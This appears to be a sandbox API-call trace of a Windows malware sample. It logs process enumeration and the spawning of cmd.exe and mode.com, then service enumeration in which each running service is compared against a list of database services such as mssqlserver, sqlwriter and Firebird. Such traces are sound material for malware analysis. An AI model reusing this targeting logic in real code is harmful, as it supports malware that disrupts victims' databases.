	[0080.351] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0080.352] lstrlenW (lpString="taskhostw.exe") returned 13
	[0080.352] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0080.353] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0080.353] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0080.667] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0080.667] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0080.678] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0080.678] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0080.679] lstrlenW (lpString="UsoClient.exe") returned 13
	[0080.679] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x117c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0080.679] lstrlenW (lpString="conhost.exe") returned 11
	[0080.679] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x115c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0080.680] lstrlenW (lpString="conhost.exe") returned 11
	[0080.680] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0080.681] lstrlenW (lpString="svchost.exe") returned 11
	[0080.681] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0080.681] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0080.682] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0080.682] lstrlenW (lpString="svchost.exe") returned 11
	[0080.682] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0080.683] lstrlenW (lpString="cmd.exe") returned 7
	[0080.683] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0080.683] lstrlenW (lpString="conhost.exe") returned 11
	[0080.684] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0080.684] lstrlenW (lpString="dllhost.exe") returned 11
	[0080.684] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0080.685] lstrlenW (lpString="mode.com") returned 8
	[0080.685] Process32NextW (in: hSnapshot=0x364, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0080.685] CloseHandle (hObject=0x364) returned 1
	[0080.685] Sleep (dwMilliseconds=0x1f4) 
	[0081.679] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x53edb0
	[0081.680] EnumServicesStatusExW (in: hSCManager=0x53edb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0081.680] GetLastError () returned 0xea
	[0081.681] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1d6a) returned 0x31936f0
	[0081.681] EnumServicesStatusExW (in: hSCManager=0x53edb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x31936f0, cbBufSize=0x1d6a, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x31936f0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0081.682] CloseServiceHandle (hSCObject=0x53edb0) returned 1
	[0081.682] lstrlenW (lpString="Appinfo") returned 7
	[0081.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0081.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0081.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0081.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0081.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0081.683] lstrlenW (lpString="AppXSvc") returned 7
	[0081.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0081.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0081.683] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0081.683] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0081.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0081.683] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0081.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0081.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0081.683] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0081.683] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0081.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0081.683] lstrlenW (lpString="Audiosrv") returned 8
	[0081.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0081.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0081.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0081.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0081.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0081.683] lstrlenW (lpString="BFE") returned 3
	[0081.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0081.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0081.683] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0081.683] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0081.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0081.683] lstrlenW (lpString="BITS") returned 4
	[0081.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0081.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0081.683] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0081.683] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0081.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0081.683] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0081.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0081.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0081.684] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0081.684] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0081.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0081.684] lstrlenW (lpString="CDPSvc") returned 6
	[0081.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0081.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0081.684] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0081.684] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0081.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0081.684] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0081.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0081.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0081.684] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0081.684] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0081.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0081.684] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0081.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0081.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0081.684] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0081.684] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0081.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0081.684] lstrlenW (lpString="CryptSvc") returned 8
	[0081.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0081.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0081.684] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0081.684] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0081.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0081.684] lstrlenW (lpString="DcomLaunch") returned 10
	[0081.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0081.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0081.684] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0081.684] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0081.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0081.684] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0081.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0081.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0081.684] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0081.685] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0081.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0081.685] lstrlenW (lpString="Dhcp") returned 4
	[0081.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0081.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0081.685] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0081.685] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0081.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0081.685] lstrlenW (lpString="Dnscache") returned 8
	[0081.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0081.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0081.685] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0081.685] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0081.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0081.685] lstrlenW (lpString="DoSvc") returned 5
	[0081.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0081.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0081.685] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0081.685] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0081.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0081.685] lstrlenW (lpString="DPS") returned 3
	[0081.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0081.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0081.685] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0081.685] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0081.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0081.686] lstrlenW (lpString="DusmSvc") returned 7
	[0081.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0081.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0081.686] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0081.686] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0081.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0081.686] lstrlenW (lpString="EventLog") returned 8
	[0081.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0081.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0081.686] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0081.686] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0081.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0081.686] lstrlenW (lpString="EventSystem") returned 11
	[0081.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0081.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0081.686] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0081.686] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0081.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0081.686] lstrlenW (lpString="FontCache") returned 9
	[0081.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0081.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0081.686] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0081.686] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0081.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0081.686] lstrlenW (lpString="gpsvc") returned 5
	[0081.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0081.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0081.686] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0081.686] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0081.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0081.686] lstrlenW (lpString="iphlpsvc") returned 8
	[0081.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0081.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0081.687] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0081.687] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0081.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0081.687] lstrlenW (lpString="KeyIso") returned 6
	[0081.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0081.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0081.687] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0081.687] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0081.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0081.687] lstrlenW (lpString="LanmanServer") returned 12
	[0081.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0081.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0081.687] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0081.687] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0081.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0081.687] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0081.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0081.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0081.687] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0081.687] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0081.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0081.687] lstrlenW (lpString="lfsvc") returned 5
	[0081.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0081.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0081.687] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0081.687] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0081.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0081.687] lstrlenW (lpString="lmhosts") returned 7
	[0081.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0081.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0081.687] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0081.687] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0081.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0081.687] lstrlenW (lpString="LSM") returned 3
	[0081.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0081.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0081.688] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0081.688] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0081.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0081.688] lstrlenW (lpString="MapsBroker") returned 10
	[0081.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0081.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0081.688] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0081.688] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0081.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0081.688] lstrlenW (lpString="MpsSvc") returned 6
	[0081.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0081.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0081.688] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0081.688] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0081.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0081.688] lstrlenW (lpString="NcbService") returned 10
	[0081.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0081.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0081.688] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0081.688] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0081.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0081.688] lstrlenW (lpString="netprofm") returned 8
	[0081.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0081.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0081.688] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0081.688] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0081.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0081.688] lstrlenW (lpString="NlaSvc") returned 6
	[0081.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0081.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0081.688] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0081.688] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0081.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0081.688] lstrlenW (lpString="nsi") returned 3
	[0081.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0081.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0081.689] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0081.689] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0081.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0081.689] lstrlenW (lpString="PcaSvc") returned 6
	[0081.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0081.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0081.689] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0081.689] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0081.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0081.689] lstrlenW (lpString="PlugPlay") returned 8
	[0081.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0081.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0081.689] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0081.689] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0081.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0081.689] lstrlenW (lpString="Power") returned 5
	[0081.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0081.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0081.689] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0081.689] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0081.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0081.689] lstrlenW (lpString="ProfSvc") returned 7
	[0081.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0081.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0081.689] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0081.689] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0081.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0081.689] lstrlenW (lpString="RpcEptMapper") returned 12
	[0081.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0081.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0081.689] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0081.689] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0081.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0081.689] lstrlenW (lpString="RpcSs") returned 5
	[0081.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
